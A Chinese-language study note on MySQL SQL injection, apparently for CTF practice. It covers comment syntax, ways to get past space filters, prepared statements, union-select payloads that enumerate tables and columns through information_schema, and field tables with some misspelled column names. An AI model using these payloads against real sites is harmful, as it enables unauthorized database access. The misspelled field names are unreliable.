一、注释方式
1.- -+可注释之后的内容,不过- -和注释内容之间要有一个空格,+号可代替空格。
2./* 注释*/
3.#注释
二、几个函数
- concat(str1, str2,…):连接多个字符串
- concat_ws(separator, str1, str2, …):连接多个字符串,可以指定分隔符。
- group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
二、绕过空格方式
1./*注释*/可以绕过空格
2.任意可以计算出结果的语句都可以用括号括起来,且括号两端可以没有多余的空格
select user() from dual where 1=1 and 2=2可以这样绕过空格:
select(user())from dual where(1=1)and(2=2)
三、mysql预编译
给服务器发送一条sql语句,服务器总是需要检验sql语句的语法格式是否正确,然后再把sql语句编译成可执行的函数,对于有些只是参数不同而重复执行的sql语句来说这样就耗费了过多的时间,预编译就只对sql语句进行一次语法校验和编译,效率更高。
步骤:
- 执行预编译语句
如:prepare sample from 'select * from student where name=?'
- 设置变量
如:set @str='zhang'
- 执行语句
如:execute sample using @str
如果需要再次执行sample语句,则不需要再编译一次了,只需要: - 设置变量
如:set @str='li'
- 执行语句
如:execute sample using @str
四、查询数据库、表和字段操作
- 查询当前数据库中的所有表名:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 查询表中的列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
group_concat()函数
group_concat()可以将要查询字段的所有值一起查询出来,各值由分隔符隔开,默认为逗号,语法如下:
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
一个例子:select id,group_concat(price order by price desc) from goods group by id;
select id, group_concat(price separator ';') from goods group by id;
- information_schema数据库结构
该数据库记录了mysql服务器所有数据库的信息,如所有数据库名,数据库的表,表栏的数据类型与访问权限等。information_schema相当于一个元数据库,其中常见的表如下:
1.SCHEMATA表:提供了有关数据库的信息。等同于show databases命令
字段名 | 含义 |
---|---|
SCHEMA_NAME | 数据库名 |
DEFAULT_COLLATION_NAME | 排序规则 |
DEFAULT_CHARACTER_SET_NAME | 字符集 |
等同于show databases
2.TABLES表:给出了关于数据库中的表的信息。等同于show tables命令
字段名 | 含义 |
---|---|
SCHEMA_NAME | 数据库名 |
TABLE_NAME | 表名 |
TABLE_TYPE | 表的类型(类型有BASE TABLE、VIEW、SYSTEM VIEW) |
ENGINE | 存储索引 |
CREATE_TIME | 建表时间 |
3.columns表:给出了表中的列信息,即字段信息。相当于show columns查看表的字段
字段名 | 含义 |
---|---|
SCHEMA_NAME | 数据库名 |
TABLE_NAME | 表名 |
COLUMN_NAME | 字段名 |
COLUMN_TYPE | 字段类型 |
4.STATISTICS表
存储索引的信息。相当于show index
字段名 | 含义 |
---|---|
SCHEMA_NAME | 数据库名 |
TABLE_NAME | 表名 |
INDEX_SCHEMA | 也是数据库名 |
INDEX_NAME | 索引名 |
COLUMN_NAME | 字段名 |
INDEX_TYPE | 索引类型(一般是btree) |
5.TABLE_CONSTRAINTS表
看哪些表有哪些约束,唯一性约束、主键约束、外键约束。
字段名 | 含义 |
---|---|
CONSTRAINT_SCHEMA | 数据库名 |
CONSTRAINT_NAME | 约束名 |
TABLE_SCHEMA | 数据库名 |
TABLE_NAME | 表名 |
CONSTRAINT_TYPE | 约束类型(UNIQUE、PRIMARY KEY、FOREIGN KEY) |
6.KEY_COLUMN_USAGE表
这个表详细记录了各个表的约束情况,包括外键具体参考了哪个数据库中的哪张表。
字段名 | 含义 |
---|---|
CONSTRAINT_SCHEMA | 数据库名 |
CONSTRAINT_NAME | 约束名(PRIMARY或列名或外键名) |
TABLE_SCHEMA | 数据库名 |
TABLE_NAME | 表名 |
COLUMN_NAME | 列名 |
REFERENCED_ABLE_SCHEMA | 参考的数据库 |
REFERENCED_TABLE_NAME | 参考的表 |
REFERENCED_COLUMN_NAME | 参考的列 |
7.ROUTINES表
函数和存储过程
字段名 | 含义 |
---|---|
SPECIFIC_NAME | 程序名 |
ROUTINE_SEHEMA | 数据库名 |
ROUTINE_NAME | 程序名 |
ROUTINE_TYPE | 程序类型(procedure或function) |
ROUTINE_BODY | 函数体 |
ROUTINE_DEFINITION | 具体的程序语句 |
8.VIEWS表
查询数据库下所有的视图
字段名 | 含义 |
---|---|
TABLE_SCHEMA | 数据库名 |
TABLE_NAME | 表名 |
VIEW_DEFINITION | 视图定义语句 |
9.TRIGGERS表
查询所有的触发器
字段名 | 含义 |
---|---|
TRIGGER_SCHEMA | 数据库名 |
TRIGGER_NAME | 触发器名 |
EVNET_OBJECECT_SCHEMA | 触发的数据库 |
EVENT_OBJECT_TABLE | 触发的表 |
ACTION_STATEMENT | 触发的语句 |
ACTION_TIMING | 触发时机(before或after) |